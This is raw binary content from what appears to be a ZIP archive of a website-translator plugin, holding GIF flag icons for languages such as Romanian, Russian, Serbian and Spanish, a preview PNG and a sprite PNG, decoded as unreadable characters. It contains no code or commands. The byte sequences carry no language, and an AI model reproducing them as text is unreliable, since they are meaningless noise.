€Æ£ŠË«‘ί&™]A¨qW°”̯)Zy¾•n½Œ/˜Nh¹6žN8žO‘ÉÎyo°5y·5z²5¤ÊY“·,§ÂE¤8{‡?´À˜œ6½Âeο¶¥FØ«&ç¾I˘ØšЫḋÖœGݪe×’:´—r®ŠmÕfÊh,ЂTÜ`ähÎjBÐW)ÌkMâ|ZÀY;Øy^Ò‰uØ=ÚC$Ò¦Öª¡ßVA²L<çviÖa]àlhÚkfå{æŸÿÿÿ!ùÉ,ÿ“ý8‹#*L˜ÌÏ¢‡Á<šác†Å‹¨Ø¢è!_ÅàFŒ’'a¨ì‘bO¢B0»<‰äbG8sæ”qBAƒœHº„©U­aDX(]ªô…‰<„Q¡4ê¬]ÆTåʱ¢«×-Dà ć §SÅý:6‹Õ%âÊÕâN-<•â•D 0[®‚áø@¸ðvè`Ô 1$KŒÜBåkˆ„˘7x¨#Í”MŸt8‚ËTª 7¨^¡Ã8g¤X %J˜Y¤h aÀ»7ƒ â¼!C¦I¥LšVÅê$óçÎ-hp“eŒu(Q&@Ä€÷ïß)`9h³FŒy1aÊ Q ½û÷*¤QCŸþFlDØÏ¿ÉXa†VÁ†5(   ,¸À$;PK.—[GTQobb,google-website-translator/images/preview.pngnu„[µü¤‰PNG  IHDR$€ºÚsRGB®ÎébKGDÿÿÿ ½§“ pHYs  šœtIMEÛ/ ë•€.âIDATHÇíÔOhYðßü“Ìäe&“6±i&v­ xP,Mêi…\õâÁ½]V…õ^E𢸕ž<-"{*‚ÒÅö`¥,âA#©ÿb ‰Iš8Íü}o2{quµí¢÷ýßáË{¿÷ãÃÀÇLMM &“Ésš¦É²ŒX–íPJoB®ïß¿¿ „¸víÚÑþþþÉL&côööúªª†„¶Ýn ¶m¿ët:'FGG¬WÀNLLä0ÆSº®ãžž !D E‘Äb1‹çùŒ¢(7æçç“ëp÷K$ÑTU%žç±Žã€mÛŒmÛŒïûìǧäAøuÝøqeeåY«ÕêX–ÅØ¶Í[–®®®R˲Xß÷‘eY.BhôÞ½{Ü×¼ïûFµZñ}ßHÅb1ß÷Ý0 1Çq9Ji"‰`BˆÁ×õd2©kš¶$ŠâQCI’˜ ˜ÕÕÕz³Ù, ‚0E!kn`šætOOÏqMÓJ½½½œ¦i B‚ €v»Í@—a˜ôû÷ï¯:t(X3×u'«Õ*ç8પT×uß0 ªëº¯ªj‰Döð<Ÿä8na½!r‹‹‹æÐÐÐã>€]!IJl¬ÙlfËåòH¥RÙŒâêõº·}ûv£P(<]XøÜÅ,..¾Ù±cÇŸ•JEY^^î/•JÆ«W¯VËåòÕjõ·R©†qzhhè§Z­¦ß¿æ‹MüwÆÇÇYQEY–½‰‰‰`llìØîÝ»ooîÖ­[‹ÍfSö}dÛ¶mÐ××7üöí[}~~~†ƒoÈÒÒR·X,ÎbŒ#–e!—ËíÍf³±o*ø'ÏŸ?ŸÃ+„‘L&²,ÿð]Åbq6£Z­Ö'Âø?ŸéÔ©Sƒ‰DâÆxL’$IJl'‚[„ëçÏŸÿoOž‰Dn\¾|yceYÖ¢Ñ(ñ}Ÿu]ÇaÇa!,Ã0 ò<Ïolb»Ý~fšfǶmÆqÞqœÐ²,jÛ6KA¶m»’$^¸pa}ëõú !ÄÝ´iSJQBÈ&ʲŒ)¥kM$„Ôu]×1ÆK‚ ¼E1E‘ ‚€±,«ÞjµJ<Ïolb§Ó™N$Ç1Æ%Ã08Œ1#It»]0Mó“‰ÍfóÊÅ‹ךèyÞd½^ç\×V…Æãq_×uŠ1ö£ÑhˆÚÃqÜÆ&.//›Édò±iš‡`—(ŠˆeÙX«ÕÊV*•‘Z­¶!Ä­¬¬x†aù|þi©TZ»‰…B!)IÒ9Ã0F¢Ñ(æ8®éyÞŒã8yž÷s.—;­i‚®zžwæîÝ»kM|ýúuøòåKúâÅ‹Ogãb«Õ’)¥#ÙlR©Ôp¥RÑ‹Åâ·™Øn·»Fc6‚ˆmÛ…-[¶ÀÀÀÀ^UU¿ÏÄF£1×ívJéH*•„Ð÷›Øh4f»Ý.j4}‚ Üùëk¦m&ÞIEND®B`‚PK.—['î-êSS,google-website-translator/images/Punjabi.gifnu„[µü¤GIF89a÷ÿÿÿøúùñõòðôñÈ×ËÖáØÔßÖxœ~¤¼¨»Í¾ FW#%[-.d6DtKU€[j‘pq–vr—wwš|¢†·¡¬Â¯²ÇµÉ×ËGH J F J LMLLNPORSOS#X%Y&"\)!X(+`10f70e60e70d62f86h<:k@?qE?pE@pFBrHFvLIxOM{S[†`\†a^‡cgŽlk’pr–v€ „¡…„¤ˆ‰¨˜³›¼Í¾ÃÓÅâêãG GF I DINL0d5GvLP}T[…_gŽkk‘o‰§Œ­Ã¯°Ä²»Î½E F I H J IKNMMM0d44f8:k>?oC?nB?mBApEGuJMzP[„^gŽje‹hgj™³›ÊØËC 4e7?oBMyOgŒir•to‘qA GHHK0b10`1q“r?=? @ E C A FDH?i?MwMMvMMuM[[g‰gæìæèíèøúø÷ø÷þþþýýýüüüûûûùùùøøøöööôôôóóóñññðððïïïîîîíííÿÿÿ!ù©,ÿS€Ê**T(`#YŒHœH‘âŽM…ô™0AÈC%p” AHœ¡¤¥¥!X^á#§%…öˆÓ£G¥:H|X‰C䑞AnxrÈIXø™ÄcOI(ñøQã“CylDÚ‚ÉͰ D`c£ Pc AèÀ¥4SbÀÀ£§Ð‹8d„rXÂL”Av´T¢D”3K°p!Ê!ˆ1  €ÁQ  BBEƒQ?„ù°H¦ V0jè1 ZrÈ Šæd 0@– E<|9‘¢”à ^6HO4Â%\ Üi²Á S5t0Ñ@^ÃDLœ:´„< )§Ž(3¢¾}2ôíׇ’ •T <ÑÁ€ 8à ˜J@;PK.—[¢·Û99,google-website-translator/images/restore.gifnu„[µü¤GIF89a¥,ooowww}}}€€€„„„˜˜˜™™™ššš›››¡¡¡¤¤¤¥¥¥§§§¬¬¬®®®°°°³³³µµµ¾¾¾¿¿¿ÁÁÁÄÄÄÅÅÅÇÇÇÌÌÌÎÎÎÓÓÓÙÙÙÚÚÚßßßàààåååèèèïïïóóóôôôõõõ÷÷÷øøøùùùúúúýýýÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ!ù ?, VÀŸpH,þ¬äæG@£äåg`YŠ€T²"ü°(D äHQ"ë4)vXjS›èC,1BB%, *,E ",)$,+O? “š›EA;PK.—[½Üḓ“-google-website-translator/images/Romanian.gifnu„[µü¤GIF89aæÿÿÿßß ß"Ï Ï à$à&Ò$á (á!)à!(á$+Ó!'à&-Ô%,â)0â,4Ö*0Ø.5â17Ù39Ü8>å=Cß=CàAGáFLæKPãJPçLQåNTçRXæRXçUZèX^èZ_éejêhmìqvëtyízí{€î€„ð‘•.‡0ˆ 2‰ . 4Š6‹2ƒ8Œ85„;Ž=9‡@‘<‰B“A"F•#E)I“.N–0Q›2R™6V:ZŸ>^¢?^¢?]¡@_¢Ba£Fd¦Ge¦Mj©Plª[v°^x±g€¶qˆ»rˆ»r‰»w½‚–Ãk„¸‰ÆÿôLÿölÿøÿïÿðÿðíßíßÿðÿðÿðÿðÿò7ÿóEÿôSÿõ`ÿövÿöwÿÿÿ!ùl,ð€lMƒ„Z†‡† Š‹lLY\’“’,–—"KWTSUTTkkj¢¡j**)©-!IVR¯¯[²³²'¶¶+FXP½½iÀÁÀ%ÄÄ(EQNËËhÎÏÎ#ÒÒ&DOHHGÙgÝÞÝáá$BJCèèfëìëïïA?6ööeùúù ýý€ô˜Aà˜ƒ"X¸P‚;dH”(¦¢ÅŠ2fŒ@G A~Ir$“'LÐã…K—^bÊŒ9 fÍnØpÁ“g—Ÿ@ :t5’*%ô)SP£&`£ªU0XÃhÅZ «Ø;PK.—[ˆŒ„ìaa,google-website-translator/images/Russian.gifnu„[µü¤GIF89aÕÿÿÿßß ß"Ï Ï Ñ#Ò$á (á!)Ó &á$+Ó!'à&-Ô$*à'.Ô%,Ö(.Ö*0[ª\ª^«#d¯%f°%c©)i±(eª*fª.k®-h«1l¯4n±7s¶6q±9r³E]¨B^ªE^¨N\¤M^¤ß=CHa©å=CàAGKd«Ld«Ld¬Ke­Le¬Xc¦áFLQj¯[h«Sj¯^h©ãJPSl±æKPçLQåNTæRXçRX]r³çUZ_v¶ht±`vµjt°èX^cx·èZ_j»t~·l€»u~¶éejp„½êhms†¿vˆ¿wˆÀw‰Àˆ»y‹Àìqvëtyízí{€†–Æî€„Š™ÉŒÊÉ”œÆï‰Žð‘•§³×àæóâçôæëõéí÷ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ!ù ,Ü€553ƒ51546BŒŽ2a__aha—`bd›œD.]UTVTTgVSW[\\«­[[cA(XNfNMNºLOY¾¿¿^@%QGÆFeFCEHPÎÏÏZíîîK0,÷/ýþþ?ZÑ  Áƒ Ž8⃂‡#J„øAÄ 2jÜÈQ£…(I²¤I’*0€0 ¥Ë—0]Bx€À€›8sêÄé @ƒ :´ÀH“*M€iÓ?;PK.—[µ±¦)UU1google-website-translator/images/Scots_Gaelic.gifnu„[µü¤GIF89aç³ L™M£ M™M£N£ P¤ Q¤ Q¥SœS¦ T¦S¦TT¦ U§TTV§V§X¨X¨Y©Z©Z©ZªZ©[«\«\ª\¤]ª^«^«^¬_¬`¬a­%c©"d¯#d®(eª%f°*f¨*fª-h«/h©)i±0j².k®1l¯4n±6q±6r¶9r³6s¶7s¶v¸?v¸?x·?x¹@x·@y¹AyºAz¹B{ºE|»G}»F~¼G~¼I¼J½M¼M½K€½K½L‚¾O…¿Q…¿T‡ÁTˆÁW‰ÁWŠÂ[‹Ã\Ä^Ã^ÄcÅa‘Æb‘Åd’Æg’Æi–Éj—Él—Él˜És˜Án™Éq›Ër›ËyœÃsžÌvžÍvŸÍwŸÍw Íw Î{¢Ï¥Ð…©Ò…ªÓ‰ªÓ‰­Ó‹®ÕŒ®Õ¯Õ¯Ö“³×•´Ù•µØ—·Ù—·Úš¹Úš¹Û›¹ÛºÛŸ»Ü£¾Þ¤¿Ý§ÂàªÅà¯Çá¯Çâ²Êã³Êä¶Ìä¿ÒçÄÖéËÚìÔÛæÑÞîÐßî×ÞçÓàïÕâðÖãñ×ãñØäñÚæòÜæóÝæóÜçòÞèôåçêàéôàêôàêõèéëãìõäìõîîîéï÷ìò÷íóùîóøðôùöøüöùü÷ùüøúüøûýùûýúûýûüýûüþþþÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ!ù ÿ,þÿ¹âÓÄÈ“ƒD¢ª³"† $§Î‹/Ö‘¨SÄY¥>ºR´Æ 5'Ù°)“Ѫ§¨Hú8ËÓ/_ĈãŽ&š•°ä³ÇÔGX‰ºX±¢å«¨úñ±c “,‹hvjƒMF\–lRCJ‘!<܈úÈŠÕGRoz)"‡Œ#7nØx¡c͈…~¼ ‘÷È .@€ø Áƒ¿³ôˆðA±‹+Rp°Ê$‘­>^šÒ ‡,J˜80⬛¢8±DSЉ&PtÈP%ÓÇX~H0"Ï«Ÿ®`è ‚MJI(˜0ÁÁ"hjáˆ- "3ˆO€BœT#Š É âË¿aFGýu€ ÈÀ€ø€ŒÁÉ?;PK.—[pîþ††,google-website-translator/images/Serbian.gifnu„[µü¤GIF89aæÿÿÿõª«êfkëhnóª®ò­±ä:Iä?Më[hê[hìkw邋쉒Þ?PßBTáFWáGXàGXâIZè[içgtçguèréw„àz…ßz„낎耋邌ꃎæ„쉓쉔ሒ厘擛᮳àBUçgvèqèr€à쉕늗뉗æ½Åé­»±]€¬^“ržŠmnK†€b•%ñóü-Ž0‘/9•#=’%?“0JŸ0KŸ?]¯?\® 4’6“8”@˜B™A”"Fœ!C•)I™.N0Q¡6V¦6V¢?_­Mj¯Pm´^x·+Lš0Qž2T¤:Z£@_¨ÿÿùÿÿûå¹_ä¹c娇ß]!Þ`&檔穔Ý\=å{蛈ûìèÝU6åyûîëÝgQÛ[GárârÜ\RÛTL柛眙æssáxvázy÷®®ñññðððïïïîîîíííÿÿÿ!ùy,ã€yƒ„…††y+‹+! Œ’“&)™ c™))( ((''n_\`o«´µ j[Z[k ÅÆÅ NRPP0fpb1ÍÖ×RVUQOA2sr.q3@OçèçQMKWL>5g"%*d5?LùúùWTJHDtÐÈBÂÃ,4rYÈp!’)xMWŠdH€Vz¡ƒF|RºÎ¾^ŠeB AIF0a7?lEFqLMySMvS[`g‰lr“w‰§HEH J F M J @NMONJOBL0e7?rEM|S[†`[…`gŽlq—vr–v‰¨ B?pDGvLGuKƒ¢†‰¦ŒE G IMMUZ Y "Z&*c.1e50c40a4@oCMyPNzQY&W(+^.0c3IN== C B GO?k?MvM[[gˆgrr‰¥‰“°“}}±Ã±2e0GtEX…V“°’0a{›m/bR{7‰¥a[‚Y ¶T’©¨»Iœ°¾ÉF»ÃÚß}ÁÆÛÙ7ÕÕÍÓÎàÝ`®¥ÛÓRȼ˜¾´B˜‹Š2°¦B¦¡m`W50pkNKH?ìÖÔìggãããáááÛÛÛÙÙÙÖÖÖÐÐÐ^^^PPP@@@???:::666222000...)))###"""ÿÿÿ!ùÕ,ÿ«±ió‡Ò(\Èpa5%PÒ¼‰¤CÃ^2jܘ‘(7OΠÄc—$L˜a¥„*,˜eJ“3fI…W@ƒ¥­Uš”!ãhˆ 8˜JÕɈÝjŠÉ’1~íøE¶lY_À”;– )KIĬaä‡Ý»v}ô`fl™_Y¨8! fϠÈ÷áÓìÙ´i¸^ÊÆ‹:s2kÎŒG³hÔl¹ ÕÅH-Šêع¨õ×yô@“VK•§"W¬ÈI4I˜ïß¿ƒ Ó«Ô&,T¨ Z$)„%J˜0q¢:ЬFÅ!2eÊ¡J98ˆ>`ñ¢¼ùò5l|:"% C—n€XÑâ¼ý4¾pÙB¨&¼ À8` ÕT¡F 8t0‚ 0D(á„V;PK.—[Cëå..*google-website-translator/images/Shona.gifnu„[µü¤GIF89aç•"""†+++000§Û­!"@@@æ$¨)*æ&é'U9{:;ç!/Û%2ç%2Ý*7±89¸BB¿BCyCKhYªMTƒHbggçDN–[\¾RRéGRŽTŽTçPYYtttR‚jìV_k„îV`™`š`Ž€!›^€€X»y îcl}…„îfn“†—ðs{J¬{N±…Q±‚S¶„숫ž¨ó—©¨ˆð•¡¡³ªØ­[‰¿¤½µsî§uª¼|𥓯¶´¹´µñ¶Ṟͱñ¿;‘ѱõ·¼¿ÉÉóÄcèÔÏÉÇõÏ0å×÷ÍPÆÐÐêÜëÜíÞðÛ#íßõѨüËÐÝÕÙôÕÕôéùÕËõÕØòè%ÚÝðïïÿ××ðð÷îgùó5úó4ëæèáéñûåæÿê«ýø?öìÌÿÿ ÿÿ îîîÿÿÿÿïïïýýDìññðððþþHñññüûröù óóóùù®ôôôÿÿiøóöïööÿÿsÿÿtûù¼ÿÿyöööÿÿƒûûÀùöøøøøüøïþ÷üûüèöüÿûûûüüñüüüÿüÿýýýþþþýÿøÿþþÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ!ù ÿ,þÿ‘˜a£†ÁƒüWé IŽ™H±¢E’* @>~ Ò# Bv"UªÉÉ2}bÊœ)sМGŽötÉ‚FG@ƒ *ÃC£IxŠÜ¨Ä†'JH:Ɔ-;˜¬‰"$‡)*PK–l‡ ˆ” 1Sæ E•èŒ @·n]-úB —<+ÿh@¸páø$²2åJ6•–8(@¹²å ô¤ÁbH/1`° ´iÓ$Ü¡Di%-ÈžM[öuVV"¢¢Š›ßÀƒ3FN%?/L´Yμ¹s8aÞh¹`aE سkß.â_ƒ > €¾<ˆñçËÿ ;PK.—['î-êSS+google-website-translator/images/Sindhi.gifnu„[µü¤GIF89a÷ÿÿÿøúùñõòðôñÈ×ËÖáØÔßÖxœ~¤¼¨»Í¾ FW#%[-.d6DtKU€[j‘pq–vr—wwš|¢†·¡¬Â¯²ÇµÉ×ËGH J F J LMLLNPORSOS#X%Y&"\)!X(+`10f70e60e70d62f86h<:k@?qE?pE@pFBrHFvLIxOM{S[†`\†a^‡cgŽlk’pr–v€ „¡…„¤ˆ‰¨˜³›¼Í¾ÃÓÅâêãG GF I DINL0d5GvLP}T[…_gŽkk‘o‰§Œ­Ã¯°Ä²»Î½E F I H J IKNMMM0d44f8:k>?oC?nB?mBApEGuJMzP[„^gŽje‹hgj™³›ÊØËC 4e7?oBMyOgŒir•to‘qA GHHK0b10`1q“r?=? @ E C A FDH?i?MwMMvMMuM[[g‰gæìæèíèøúø÷ø÷þþþýýýüüüûûûùùùøøøöööôôôóóóñññðððïïïîîîíííÿÿÿ!ù©,ÿS€Ê**T(`#YŒHœH‘âŽM…ô™0AÈC%p” AHœ¡¤¥¥!X^á#§%…öˆÓ£G¥:H|X‰C䑞AnxrÈIXø™ÄcOI(ñøQã“CylDÚ‚ÉͰ D`c£ Pc AèÀ¥4SbÀÀ£§Ð‹8d„rXÂL”Av´T¢D”3K°p!Ê!ˆ1  €ÁQ  BBEƒQ?„ù°H¦ V0jè1 ZrÈ Šæd 0@– E<|9‘¢”à ^6HO4Â%\ Üi²Á S5t0Ñ@^ÃDLœ:´„< )§Ž(3¢¾}2ôíׇ’ •T <ÑÁ€ 8à ˜J@;PK.—[‰D°œœ,google-website-translator/images/Sinhala.gifnu„[µü¤GIF89açý§©ª«¬¬®¯¯ ° ¬ ­ ­ ° ®±®¯±± ³ ²°² ±¯³ ²³´""¶$º,¸1 ¹3 ¼2 ¹00»00¼6º50»; ÁB ¾??¿?>¿@@~7ÄG1ÄJ9 €; ‚<ÅM1ÄQƒ>ÃMMÄMMÆN?„?„@ÃPP†C†EÆ[ ‰GÇ^ ÉWN‹J"ŒMÆ^@È[[Ë][Íe É^^Ë^[Ìh Èe@Ìd@Ée@ÎjËl 0“XÌggÍggÊm@ÎigÊtÍkkÏrAÓw Ðog@›e?œdÎtOÍqrÎqrÏqrÍrrÏrqÏrrÐt\ÐshÕzÑu]Ô€Òy]ÑwwÖ׃M£pýy'P¥qÕ‚O׉ý}&ÛŠ ý~'Õ…iý€)ÒŠO׆iý+[ª{ý‚-ýƒ/ýƒ0Ü‘^¬~׉‰Í™Ö^Õ‘PÜ—g±…Ù˜4Þ—4ؘPk³‰ážà›Bý’Jr¶ÞŸ4à 4Ý^w¹‘ã¢På© ß£^ý›Wå¦4à¥^Ù°æ­‚¾›àª^ý¢d‰Â¡äª‹å¬Šâ³Qêµ5æ°tä³^þªoþªpî¹þ°zã¾Cêºtþ³„þ¶„꼋뿋ìËôÉíÎíÏñÎíÑíÑíÑíÓíÓþ˜éÑDõÔðÌ…îØíÕ6ðÏtïÙïÙø×ø×ìØ7ðÛðÛúÙñÜ!ñÜ#úÝóÞ%óÞ(üÝüÞôß*ôÜSôà-óÞEÿáÿáÿáöâ.ÿâÿâòàSÿâöã1ÿãÿãøå4øå6ùå9ùå<ÿçÿèÿå7ûç=ûç@ÿêÿëüé@ÿçLÿèEÿèLüêEýêEÿîÿéLÿéSÿïÿêKÿêLýëHþëHÿëLúìSþìLÿíLÿë`ÿíOÿìlÿîvÿñÿÿÿÿÿÿÿÿÿ!ù ÿ,þÿÁ‹¯]ºsôî)\Èð^¼sÿîmÚdË¿UœühÜÈÑO'UùæaZ„*Õ>^ ¾t Ã2Œ–`¸œÊeoÝ£A¥Jéƒ2'ʘ)Q @‰‚%ŠQ;hä™;„g”(|DˆqTæL%I€2…ƒ„Huâú¬Ñ¤É] @ ¹iVÏš§@u m©qd\·6Z&MB—BÅDRL=»¥„É+KRèð¶-ËEŠÂ Ñ¢‘ BÁv1*D铌+¸M’cÏžk$”°4CÙ±eìØ•{ç"BlÌ‚ÐÈ“§šƒþÀ"—í[+`àˆ}pÀÁ21îܡƠ*fýj’A .RzlHVŒ :t¤-Xpá„‚ —4(@ñ†ˆŒ ÛñBŽœh€p€ ü`ôàD„`Á0½äÀp@É@€0‡"¾è‚zè¡M´èâ‹.’¡Ë?±Ä2‹,³°ò -´Ôâ#@Öâ +ÿ;PK.—[7«€oo+google-website-translator/images/Slovak.gifnu„[µü¤GIF89aæÿÿÿâIKàHJêklèqr÷Çȹ[p¼j¯Pj³c|¡R†!K‡#L¦{¦‘]’Ÿr ¬†­V6vM8|?Q¥5Ž#9)>”.C—Pa«^o² +’ '‹)Œ3‘2Hš6K6LœM`ª ,’2”4’#@˜&C›(C•0L¢-G—7Q¡3—3•6“8”@%B™)Fœ0N£1Lš8T¥6Qž=Z¨@Z£C]¨E^¨F_¨Sj¯Tl°cx·D¥J¨í#í"ó;3ôTMõ`ZökföwráææßßÏà Ï á%%ç+'á&&Ò$$ç,(á((á))Û,)Ó''á++Û.+Õ,,Ó22Ö55×99éffëppð˜˜ò  ò¥¥ô®®ô±±õµµôµµö¼¼÷ÀÀ÷ÄÄÿýýþüüýûûþþþýýýüüüÿÿÿ!ùs,Ì€sƒ„…††sm‡‹ŒnŒ„poqr„GchgcG”r "F`ifF<¬­­>8EblaE:½¾¾=!93DekjdD)+ÏÐÏ;6'-CA_BC$/áâá240,  .ñòó1* ?#@ % hÅ*J*¨qA‡FÑâÅŠ'K’ dÉÅ dÙÒE ““L Aɲ¥,\ T™I³¦ÍšSæ4y³§ÏŸ>ç;PK.—[Ø|“Fbb.google-website-translator/images/Slovenian.gifnu„[µü¤GIF89aæÿÿÿßÏÚÚÍÚ³¢¿ùøú±¥Âˆƒ³QO’¯¯ÐGP›"/†\j¬gt²?U¥4’#@˜(C•-G—4N7Q¡9RŸ=V¢7•7•6“8”%B™%A”)Fœ*E–.I™3O¡1Lš6QžJDAhiEBJ?ÓÑI0+:1å/1bljqrjkc3.å1:,()ùUmssÜ\¹ÀAŸ‡*HœØÀ¡†fžI¡!Ã%>˜°À‘co¾p“ƒAGŽ&BTA¡eKMœ° —-E`x‚ÏŸø, áçOxpÀ´©Ó§M=, СªÕ«X±ø «×¯`Áþ ;PK.—[c€À/„„,google-website-translator/images/Spanish.gifnu„[µü¤GIF89aæÿÿÿÞßÏ Ï ÑÒáàÒáÒÔÔä?EåBHçFLçGLåGLçIOìglìqvìrvìrwîw|ð‰è§´Ï·ÖÜ]ÕØ_ÿüSÿõÿõÿôÿóüñÿòÿóÿòÿñ÷ì ÿô#óé%óé(ôè*ôè-ÿó6üð9ÿøSÿðÿðýêÿðÿññä!ÿð%ñä#ÿñ)öé.öé1øë4ÿò6ÿò7øë6ùì9ùì<ûî=üï@ûï@ýïDÿóEÿóFüðEÿôSÿôTÿõ`ÿõcÿöpýæýçâÒ/áÑ/éØBåÖPõåZûÞûà!îÖCèÓVôß[ë·êÄHèÆ^îÖˆæÄ_ê·Hî Ü’ðºaó½fêªXã‘2å3ã†/ÛIî£cÛƒGÐ[°Q&žZ>ÍS(ÚrLì­™«?0ÿÿÿ!ùt,á€tƒ„…††t‹ŒŽŽ”•”˜›¥¦§¨¦EOM¯°±²°OJDNK2 [`^VKÀÁÂKNFBLHGYalj]THÑÒÓLC>I01Zhq_U?@âããIA<;'Xkmorf5(6ôõô;=.9$WebnsÒ‰b‚†Áƒs¼`±"„Š\ÎÀã¡„ˆ3b\ÑÇ3¦@ E È“(g¤ÐÑ`Á€—0cÊ„¹À‚rêÜÉSgJ´hÑt(°T©ÒP>UJ';PK.—[¤NÔŠlElE,google-website-translator/images/sprites.pngnu„[µü¤‰PNG  IHDRê&]!¨ IDATxÚí½qˆUW–ÿûÑ’úµ=l 6v›g~¦ fÌÏPbÆ ÏŒŽ>E1£$(Š{‰1$"Š!!IˆD%kEQ"q m˜HœHŠˆNKìøºž•–HK×KuŠTw½®_Þ{®ãõÞª[z÷¹·¬õâÖ=çÜ:ûî½×^k¯}jÁqÇqÇqÇqÇqÇqÇqÇqÇqÇqÇqÇqÇqÇqÇqÇqÇqçDdPoú¾}"Uâ`504çÀ^Um/cŒÍsê ªÎsè´î¾ÚUõ2–a0ð!0¸,QÕc‘ïy˜ÔÉ%gTur2T™j \rxFUo–©¡(tNUûdpÿ€‰ööИzmPÕb”Ó€]À U=,"UÀ_ærªéGÀük€6`žªÖ•£Ï¤¸ ì7Gt£Ôeè[â/4F›Tõå$ä‘ÙfÀÛ€‡Ëe¥ªzMDF?>^®X ̲ו9Fš|™à{»0£:¼U‰ó=U½ZaóÏ¡ÖÁ¦S›À7À5`08iƒFÖeh‘ÈÍTÿI¸`^uˆ…çåd’ª6%ÏÁô-aeö·Pàl'—ž²×¡ÄÞ&,í%Oýžo´xfäÎWUAF:øhµiÀbóP5À3ÞÉÖfŸ%áy†ƒZ“ÍáߎŠÈ!+w5°¨ö—3I›¾%¬ÌVÙ:ë„ɹ¦2}çs©2_Îw<#†Vˆ‘.7O¹ßBÛCÀü$±f¯¼ožõðysB–О´©Â4à¦-Ï|hQÜ `÷1¥ž£^ ¤Íg \3%™³Ò»Wf­¶Xç_`^éS`@z¾žš·¶¹àÂRÅQyQU·FJ!,£5‹È“Àë[û ­?¤úÑ3ù¦Zn¨…Ùm•ù–ˆœË]‚±xÛ<ïæ^n¨É|þ2pÌ<úyà+``ìy¶ª¶™]–cÉù>"òCòj‡k€]¶<³2Ò’dwGš÷Þ˜c¤ë€ã6TàåûÝHcê^àyó—Dd]j¾:xÓæ±'TõZÆßµ…Õ}ð¤ª^Èé¨OY]%k«Ë1÷ÊãQ³¸gzôU}EDޤŒtƒª6ö¶Q½¤†ªªm"2Ó3l^“i"ò¾ª.Ëð»VWRÅ«êŠǯ–·z#ûÒFjÇnZôÕjFü`o¬˜¾:`“eL—Ú<µÑBº7iÿ[¨ì+óƒN~Z~–HÊä)$[5˜dóÏ5©þ´ÌÂ]Vh‰žoéë«êN`gžyÚFÆA–È "Ïe8Ϙ*K:ó:Èíóo´%ᶪ6ç{8$Bi‘«æQçž O/Á $<ž×V¦iÊ£ªz«“fR4ÔNäŠëi`°%UŽ‹ÈÔÈÐHXù]êØõÔï_Ùk³ÛiÙXDX*Ú#"5Àa“R3Ìk-+S¹ê9"ò~×]ˆÕ‡ú•ã[›±NNëxI/G¼íJÂrDgë— ÜùäK¯&ËPSU/ˆÈtBV÷ýTŽ£ÜK0u€óO"2ŠÂÿr×ô)s'IHRê¿ß¯Ä…=M%è.gTur¤ ìOØê±x xx6ç²ÍEµ="2˜i3ðw¹;±ª¼½%.Ï‚ÞhwèOû ÌŽØñ§pç¹3ìçyYªª!ß©ªí"rH¸—zoÙ>uWMûpÄ:ÜbF:ÁD¬Ö$ªRÞj“ªÞ‘1Àö™û²ÖXC>NÐdõ5‹°‡mWRj¦“UõL7(6Že¤3lé¬ !(,,*u¤Qäàÿ¡ ­À)‹Æ¦Æºg© u(AwÅ©§µd FDªÐÑÀ`LÊC޲û&¿ÝªªÚ$" €Ó"²5G‘¼”´ªj½ý~X#"‰,åøŒA}Ž´b;ðDòÝEd,ðYŽ÷èS„¼Ã½„»{rŒ´Ý·V /Ó綉șŒçÍ;ÌH“t0KD6¯Ä˜”ÚPׄgg$æt1ïšm¡òZ‚Ú[ÉÛ .´Ü<é4‚–ÉRUÝoóŠ…À‡"²ÈFÆU6È,'ŽÜ| ð^j´DÖnU= L‘,D.—jYAÛ¶\Qä*îrnQÕ+fÈ-9áðk«uyÓñq³|¼D”ÚPêûöð]^¦“­Ðù¸ <2ÒXL±×ÕÀçÀ6àÅD>CUÛUu7ð²…»_XX ÅËÜk²øHD>‘ªº˜n^¿\Ü~L\Ì:a3+£ÏÜ‘²>ÔÏÆ¸wßXbJÚòîil¾XoailC ò&h¶æ²×æ<à 